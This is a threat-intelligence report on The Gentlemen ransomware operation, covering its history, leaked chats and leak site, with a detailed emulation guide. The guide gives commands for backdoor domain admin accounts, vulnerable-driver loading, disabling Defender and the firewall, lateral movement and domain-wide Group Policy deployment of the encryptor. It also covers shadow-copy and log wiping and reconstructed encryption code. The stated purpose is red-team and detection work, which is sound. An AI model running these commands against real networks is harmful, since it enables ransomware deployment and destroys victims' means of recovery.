The Gentlemen are a ransomware-as-a-service operation (tracked by Microsoft as Storm-2697) that emerged around July-August 2025. They run the standard double extortion model, encrypt and threaten to leak, but move faster than most. By June 2026, the group had claimed more than 500 victims across 75 countries, targeting organizations in manufacturing, healthcare, technology, business services, education, and several other sectors. During their busiest periods, they were publishing 80 to 90 new victims each month placing them among the most active ransomware operations observed over the past year.
Unlike many newer ransomware groups that rely on modified versions of existing lockers, The Gentlemen built their own ransomware family. The Windows variant is written in Go and obfuscated at build time using Garble. The ESXi encryptor is written in C, covering Windows, Linux, NAS, BSD, and VMware ESXi environments. Their affiliate program offers a 90% revenue share, well above the traditional 80/20 split.
The Gentlemen did not appear overnight. Before launching their own platform, the operator behind zeta88 and hastalamuerte ran ArmCorp, an affiliate crew inside the Qilin Ransomware-as-a-Service ecosystem. Qilin follows the standard RaaS split, a core team maintains the locker and infrastructure while affiliates handle the intrusions and take a cut of whatever the victim pays. Over roughly six weeks, ArmCorp claimed around fourteen victims under that arrangement.
The relationship ended in July 2025, when hastalamuerte accused Qilin operators of withholding about $48,000 in affiliate payments in an arbitration post on RAMP, the closed Russian language forum where RaaS crews settle exactly these kinds of disputes. A Windows sample already carrying The Gentlemen branding had appeared on VirusTotal several days before it went public, suggesting the split was already in motion before the payment dispute appeared. That timing says something. Tooling, tradecraft, and infrastructure all carried over from Qilin. That is why The Gentlemen looked operationally mature from day one.
The Gentlemen operates as a structured ransomware group with responsibilities divided across infrastructure, development, operations, and affiliate management.
Figure 1: How The Gentlemen operation is structured.
Additional aliases, including mAst3r, Bl0ck, JeLLy, and Kunder also appear in leaked communications, although their specific responsibilities remain unknown.
The internal structure described above is not built on passive OSINT. On May 4, 2026, an administrator of the group confirmed on underground forums that Rocket, their internal Rocket.Chat backend, had been compromised and leaked. The breach is reportedly connected to a separate compromise at 4VPS, the hosting provider used for parts of the group infrastructure. Researchers captured a portion of the data before it was pulled down, including more than 8,000 lines of chat logs across channels such as INFO, general, TOOLS, and PODBOR, along with ransom negotiation transcripts, screenshots from compromised systems, affiliate TOX contact IDs, and operational discussion.
Key findings from the leak:
The incident also highlights the risk of trusted third parties. Organizations that rely on MSPs, software vendors, or external consultancies should treat those relationships as part of their own attack surface. The Gentlemen have already shown that access obtained from one victim can become the entry point into another.
The victim data reveals clear targeting patterns across industries and regions. The group focuses on organizations where operational disruption and data theft are most likely to increase pressure to pay.
The Gentlemen leak site is not a simple list of victims. It is a dedicated platform built to pressure organizations into paying while also recruiting new affiliates.
Figure 2 - The Gentlemens leak site homepage showing victim cards with countdown timers.
Each victim entry combines company information, publication timers, and searchable listings into a structured interface designed to maximize pressure during negotiations. Once the countdown expires, the page turns into a browsable file repository. Stolen data sits organized by department, year, and project, not dumped as one single archive.
The bottom of the leak site reveals that the group is plugged into a wider cybercrime ecosystem. The footer displays partnership banners and logos for several underground platforms, including BreachForums, tierOne, Duty-Free, and RehubCom, suggesting active relationships with other actors in the ransomware and cybercrime space.
It also includes QR codes for Session and Simplex, a link to the group X (Twitter) account, and an advertisement for "EDR KILLERS - CALL - SPAM" services. At first glance it looks like a typical underground advertisement. It is not.
Figure 3 - The leak site footer showing partnerships with BreachForums, tierOne, Duty-Free, and RehubCom, QR codes, and an "EDR KILLERS - CALL - SPAM" ad.
In June 2026, ESET Research reported that the operators were not promoting a toolkit built by another crew. They build and maintain their own EDR killer framework, named GentleKiller, and hand it directly to affiliates. The advertisement on the leak site is their own capability, not something bought in. The mechanics of how it works are covered in the Defense Evasion section below.
One US-based specialty medical facility had approximately 500 GB of data stolen, surgical case reviews, anesthesia records, MRI scans, employee health histories, narcotic inventories, and inpatient records. The leak site listed exactly what had been taken before the countdown expired, turning the preview itself into extortion.
Figure 4 - The Gentlemen leak site card for a healthcare victim.
When the countdown reached zero, the victim card became a fully navigable file browser. Instead of a single archive, The Gentlemen published what looked like the organization shared drive, organized by department. Directories such as IT, Nursing Scans, Credentialing, MRI Scans, Cardiology Orders, Cardiology Scans, Finance, Human Resources, Business Office, Administration, and Echo Reports were all exposed, allowing anyone to browse the data folder by folder.
Looking deeper confirmed what the listing had already suggested. The Cardiology Orders directory alone contained hundreds of individually named patient PDFs that could be downloaded directly. Similar collections appeared throughout the remaining directories. Instead of releasing disorganized data, the group preserved the original folder structure, making the leaked information easy to navigate and search.
Figure 5 - Top-level directory structure of the published healthcare data.
Figure 6 - Cardiology Orders directory showing individual patient records.
Everything below breaks down how the chain actually works, in enough technical depth that a red team or purple team can reproduce each stage. Every section is tagged with the technique behind it, and the checklist at the end covers what a defender should be watching for at each step.
The mapping below lines up each stage of the chain against its MITRE ATT&CK techniques. Use it as the checklist while building out the lab, each section further down expands on one row here.
Figure 7 - The Gentlemen MITRE ATT&CK mapping. Click to enlarge.
ATT&CK: T1190 (Exploit Public-Facing Application), T1133 (External Remote Services)
The Gentlemen do not rely on expensive zero-day exploits. Their operations are built around unpatched internet-facing systems, purchased access, and compromised credentials. Two vulnerabilities appear repeatedly:
Once inside, the operators have also been observed using CVE-2025-33073, an NTLM (New Technology LAN Manager) reflection vulnerability, to relay credentials and expand access across the environment. By abusing this flaw, attackers can relay authentication requests to other systems and gain additional privileges without ever needing the account password. When exploitation is not an option, the group buys access. Leaked internal chats reference a database containing roughly 14,700 exploited FortiGate devices and nearly 1,000 validated, brute-forced VPN credentials available to affiliates.
ATT&CK: T1136.002 (Create Account: Domain Account)
Once inside, the operators immediately create domain accounts designed to blend in, names like MicrosoftSupporte that pass as legitimate service accounts. These get added to Domain Admins, Veeam backup groups, and Remote Desktop Users with password expiration turned off.
net user MicrosoftSupporte P@ssw0rd!2026 /add /domain net group "Domain Admins" MicrosoftSupporte /add /domain net localgroup "Veeam Backup Users" MicrosoftSupporte /add net localgroup "Remote Desktop Users" MicrosoftSupporte /add wmic useraccount where Name='MicrosoftSupporte' set PasswordExpires=FALSE
Adding the account to Veeam backup groups is a deliberate move. It gives the operators control over recovery infrastructure before encryption ever starts, which makes it far harder for the victim to restore from backups after the fact.
ATT&CK: T1068 (Exploitation for Privilege Escalation), T1562.001 (Impair Defenses: Disable or Modify Tools)
Before deploying the encryptor, The Gentlemen systematically neutralize endpoint security using GentleKiller. It currently includes at least eight variants, each disguised as a different legitimate application while abusing a different vulnerable or malicious driver to disable endpoint security products. It also uses Bring Your Own Vulnerable Driver (BYOVD) techniques to terminate security processes at the kernel level, and ESET mapped the framework to more than 400 process names across 48 security products, including Microsoft Defender, CrowdStrike, SentinelOne, Sophos, Bitdefender, Kaspersky, and most other major EDR and antivirus vendors.
The BYOVD attack flow follows a consistent pattern:
copy vuln_driver.sys C:\Windows\temp\gdrv.sys sc create gdrv type= kernel binPath= "C:\Windows\temp\gdrv.sys" sc start gdrv
Before or alongside the BYOVD attack, affiliates also use built-in Windows commands to weaken defenses. PowerShell tampering with Set-MpPreference, registry modifications, exclusion path abuse, and outright firewall disabling all show up in observed intrusions:
Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisableBehaviorMonitoring $true Add-MpPreference -ExclusionPath "C:\Windows\temp" Add-MpPreference -ExclusionProcess "gentlemen.exe" reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f netsh advfirewall set allprofiles state off
The modular design of GentleKiller lets affiliates rapidly swap out blocklisted or patched drivers for new ones. The framework supports at least eight BYOVD variants and incorporates third-party or leaked EDR-killer tools. Three of the known variants show the range:
To further evade static detection, these tools are typically packed using commercial protectors such as Enigma or Themida, and frequently impersonate legitimate security vendors by spoofing version information, icons, and digital certificates.
ATT&CK: T1018 (Remote System Discovery), T1087.002 (Account Discovery: Domain Account), T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay)
With security tooling neutralized, operators conduct extensive internal reconnaissance using a combination of custom and publicly available tools:
ATT&CK: T1486 (Data Encrypted for Impact)
At the core of The Gentlemen operation is a Go-based ransomware payload that differs from most modern encryptors. It is designed as a single, self-contained binary that handles encryption, propagation, anti-analysis, and cleanup, all controlled through command-line arguments.
The payload is compiled using Go and obfuscated at build time using Garble, a Go obfuscator that removes symbol information, randomizes package paths, and obscures string literals. This makes static analysis and reverse engineering more difficult, as standard Go binary analysis tools become much less effective against Garble-obfuscated binaries.
Typical Garble build command used to compile the obfuscated encryptor:
$ garble -literals -tiny -seed=random build \ -ldflags "-s -w -X main.buildPass=<affiliate_password>" \ -o gentlemen.exe ./cmd/encryptor
The result is a single PE binary (approximately 8 to 12 MB) with unreadable function names, randomized package paths, encrypted string literals, and stripped DWARF debug information and symbol tables.
The encryptor requires a build-specific execution password passed via command-line argument to proceed with encryption. Without the correct password, the binary exits silently. This design decision serves a dual purpose:
The binary's behavior is controlled entirely through command-line flags, enabling operators to configure execution mode at deployment time:
Operators deploy the encryptor with various flag combinations depending on the operational objective:
gentlemen.exe --pass "k7Xm9pL2" --spread --wipe gentlemen.exe --pass "k7Xm9pL2" --path "\\fileserver\shares" gentlemen.exe --pass "k7Xm9pL2" --safe-mode --wipe gentlemen.exe --pass "wrong" gentlemen.exe
The Gentlemen employs a hybrid cryptographic scheme that ensures each file is encrypted with a unique key, making partial key recovery useless and bulk decryption without the master key practically impossible.
For every file targeted for encryption:
Based on reverse engineering of the Garble-deobfuscated binary, the per-file encryption routine follows this structure:
func encryptFile(filePath string, attackerPubKey []byte) error { ephemeralPriv, ephemeralPub, _ := generateCurve25519KeyPair() sharedSecret, _ := curve25519.X25519(ephemeralPriv, attackerPubKey) nonce := ephemeralPub[:24] cipher, _ := chacha20.NewUnauthenticatedCipher(sharedSecret, nonce) plaintext, _ := os.ReadFile(filePath) ciphertext := make([]byte, len(plaintext)) cipher.XORKeyStream(ciphertext, plaintext) output := append(ciphertext, ephemeralPub...) os.WriteFile(filePath+".gentleman", output, 0644) secureDelete(filePath) return nil }
Go does not automatically clear sensitive cryptographic data, such as temporary private keys, from memory after they have been used. As a result, these keys can remain in process memory for a short period. If a memory dump is captured while encryption is still in progress, it may be possible to recover the keys and decrypt the corresponding files without the attacker master key. Since each file is encrypted with its own temporary key, recovering one key only allows the decryption of that specific file. These ephemeral keys are no longer referenced after encryption completes. However, because Go does not explicitly zero memory, they may remain recoverable from process memory until that memory is reused, making memory-based recovery practical only during active encryption. The use of XChaCha20 also enables the ransomware to encrypt large numbers of files quickly, reducing the time spent on the victim's system, while the combination of Curve25519 and XChaCha20 relies on well-established cryptographic algorithms with no known practical weaknesses that would allow straightforward key recovery.
ATT&CK: T1484.001 (Group Policy Modification), T1570 (Lateral Tool Transfer)
When executed with the --spread flag, The Gentlemen transforms from a standard encryptor into a self-propagating worm. This is the capability that distinguishes it from the vast majority of contemporary ransomware families, which rely on manual deployment or separate tooling for lateral movement.
Rather than attempting lateral movement techniques sequentially, the propagation module launches multiple methods simultaneously against each target. propagation module launches multiple methods simultaneously against each discovered target. This parallel approach maximizes the probability that at least one vector will succeed, regardless of the target configuration, patch level, or security posture. As documented by Microsoft analysis, ransomware operators commonly leverage up to 21 distinct remote execution techniques to propagate across environments, each targeting a different system component or protocol.
In this observed variant, the following techniques are executed concurrently against each target, with the binary gentlemen.exe and its authentication passphrase (k7Xm9pL2) deployed via the --wipeflag:
The following examples illustrate the observed execution patterns and are representative, not copied directly from the malware.
PsExec enables remote execution by installing a temporary service on the target host over SMB. If PsExec is not already present on the source host, the module downloads it from Microsoft's Sysinternals live repository (live.sysinternals.com). It then creates a remote service under SYSTEM privileges and executes the payload with the required arguments.
copy \\live.sysinternals.com\tools\PsExec.exe C:\Windows\temp\PsExec.exe PsExec.exe \\TARGET -u DOMAIN\admin -p P@ss -s -d -c gentlemen.exe --pass "k7Xm9pL2" --wipe
Using Windows Management Instrumentation (WMI), the module invokes wmic.exe against the remote target to create a new process directly. WMI execution operates over RPC (port 135) and does not require an interactive service to be installed, making it a reliable fallback when PsExec is blocked or monitored.
wmic /node:"TARGET" /user:"DOMAIN\admin" /password:"P@ss" process call create "C:\Windows\temp\gentlemen.exe --pass k7Xm9pL2 --wipe"
The module creates a scheduled task on the remote host using schtasks.exe, configured to execute the payload under the SYSTEM context immediately. The task is named with a benign-looking identifier (e.g., "WindowsUpdate") to evade casual inspection. Once created, the task is triggered manually.
schtasks /create /s TARGET /u DOMAIN\admin /p P@ss /tn "WindowsUpdate" /tr "C:\Windows\temp\gentlemen.exe --pass k7Xm9pL2 --wipe" /sc once /st 00:01 /ru SYSTEM /f schtasks /run /s TARGET /tn "WindowsUpdate"
Using the Service Control Manager (sc.exe) interface, the module installs a new service pointing to the payload binary, then immediately starts the service. This technique mirrors the same SCM mechanism that PsExec leverages, but does so directly without requiring the Sysinternals binary.
sc \\TARGET create svcUpdate binPath= "C:\Windows\temp\gentlemen.exe --pass k7Xm9pL2 --wipe" start= auto sc \\TARGET start svcUpdate
The module constructs a PowerShell script block that calls Invoke-Command against the target host. This method leverages Windows Remote Management (WinRM) over HTTP (port 5985) or HTTPS (port 5986), providing an execution channel that bypasses both PsExec and WMI when those protocols are disabled.
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { Start-Process "C:\Windows\temp\gentlemen.exe" -ArgumentList "--pass k7Xm9pL2 --wipe" }
The payload is copied to multiple administrative shares on the target host simultaneously, ADMIN$, C$, and in the case of a domain controller, the NETLOGON share. This ensures the binary is staged in locations accessible for subsequent execution via any of the above methods.
copy gentlemen.exe \\TARGET\ADMIN$\temp\gentlemen.exe copy gentlemen.exe \\TARGET\C$\Windows\temp\gentlemen.exe copy gentlemen.exe \\DC01\NETLOGON\gentlemen.exe
To achieve maximum coverage across the domain, the propagation module generates a custom PowerShell script at runtime in %temp%\deploy_gpo.ps1. This script abuses Active Directory Group Policy to deploy the ransomware payload to all domain-joined machines simultaneously.
Step 1 - Stage the encryptor to the NETLOGON share. The script copies gentlemen.exe from the local staging directory to the domain's NETLOGON share, making it accessible to every domain-joined host without individual file transfers.
Copy-Item "C:\Windows\temp\gentlemen.exe" "\\$env:USERDNSDOMAIN\NETLOGON\gentlemen.exe" -Force
Step 2 - Create a new Group Policy Object. The script creates a GPO named "Windows Security Update" with a comment describing it as a critical security patch, mimicking legitimate Microsoft update nomenclature to evade detection.
$gpo = New-GPO -Name "Windows Security Update" -Comment "Critical security patch"
Step 3 - Configure an immediate scheduled task via GPO Preferences. The script constructs an XML block defining a scheduled task that executes immediately, pointing to the binary on the NETLOGON share with the --pass k7Xm9pL2 --wipe arguments, running under the SYSTEM context.
$taskXml = @" <Task> <Exec> <Command>\\$env:USERDNSDOMAIN\NETLOGON\gentlemen.exe</Command> <Arguments>--pass k7Xm9pL2 --wipe</Arguments> </Exec> </Task> "@
Step 4 - Link the GPO to the root domain OU. The script links the GPO to the domain root by parsing USERDNSDOMAIN into its Distinguished Name path, applying the policy domain-wide without requiring prior knowledge of the domain structure.
New-GPLink -Guid $gpo.Id -Target "DC=$((($env:USERDNSDOMAIN).Split('.')|%{'DC='+$_}) -join ',')"
Step 5 - Force an immediate GPO refresh across all reachable hosts. The script invokes Invoke-GPUpdate with a wildcard target and zero random delay, followed by a local gpupdate /force, causing every domain-joined machine to process the policy and execute the payload in a single orchestrated wave.
Invoke-GPUpdate -Computer "*" -Force -RandomDelayInMinutes 0 gpupdate /force
The propagation module uses credentials harvested during the reconnaissance phase, including domain admin credentials, cached NTLM hashes, and Kerberos tickets, to authenticate against targets. It also attempts pass-the-hash and NTLM relay attacks against systems where explicit credentials are not available.
Before propagation begins, the module performs lightweight network discovery to build a target list, including techniques such as:
ATT&CK: T1490 (Inhibit System Recovery), T1070.001 (Clear Windows Event Logs), T1070.004 (File Deletion)
When the --wipe flag is used, the encryptor performs aggressive post-encryption cleanup designed to hinder incident response and forensic recovery:
The following commands are executed sequentially by the --wipe module immediately after encryption completes:
Volume shadow copy destruction
vssadmin.exe delete shadows /all /quiet wmic shadowcopy delete /nointeractive
Disable windows recovery environment
bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures
Clear all windows event logs
wevtutil cl Security wevtutil cl System wevtutil cl Application wevtutil cl "Windows PowerShell" wevtutil cl Microsoft-Windows-PowerShell/Operational
Destroy windows backup catalog
wbadmin delete catalog -quiet
Empty recycle bin on all drives
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
Terminate backup and database services
net stop VeeamBackupSvc /y net stop MSSQLSERVER /y net stop SQLWriter /y net stop MSSQL$VEEAMSQL2012 /y net stop SQLBrowser /y
Self-deletion
del /f /q %~f0
In under a year, The Gentlemen went from a Qilin affiliate arguing over a missed payment to one of the most active ransomware operations running today. A custom Go encryptor that handles discovery, propagation, defense evasion, and cleanup on its own. A BYOVD framework built in house, not rented from another crew. A 90% affiliate payout that undercuts every established RaaS split. A leak site engineered purely for extortion pressure. None of this was assembled from someone else's kit. They built the whole chain themselves, and the Rocket backend leak is the rare case where defenders get to watch it run from the inside.
The best detection window sits before the locker ever executes. Unusual driver installs, AD reconnaissance, new backdoor accounts, outbound rclone traffic, all of it happens well before a single file gets encrypted. None of these patterns will stay unique to The Gentlemen for long. Other groups are already picking up the same playbook, and ephemeral per file keys, modular BYOVD evasion, and worm propagation packed into a single binary look less like one group's innovation and more like where ransomware tooling is headed next. This is also why emulation matters more than the writeup itself. Knowing the BYOVD driver drop happens is not the same as knowing your EDR catches it. Running the chain in a controlled environment, from driver load through discovery through the rclone exfil, is the only way to find that gap before an actual affiliate does.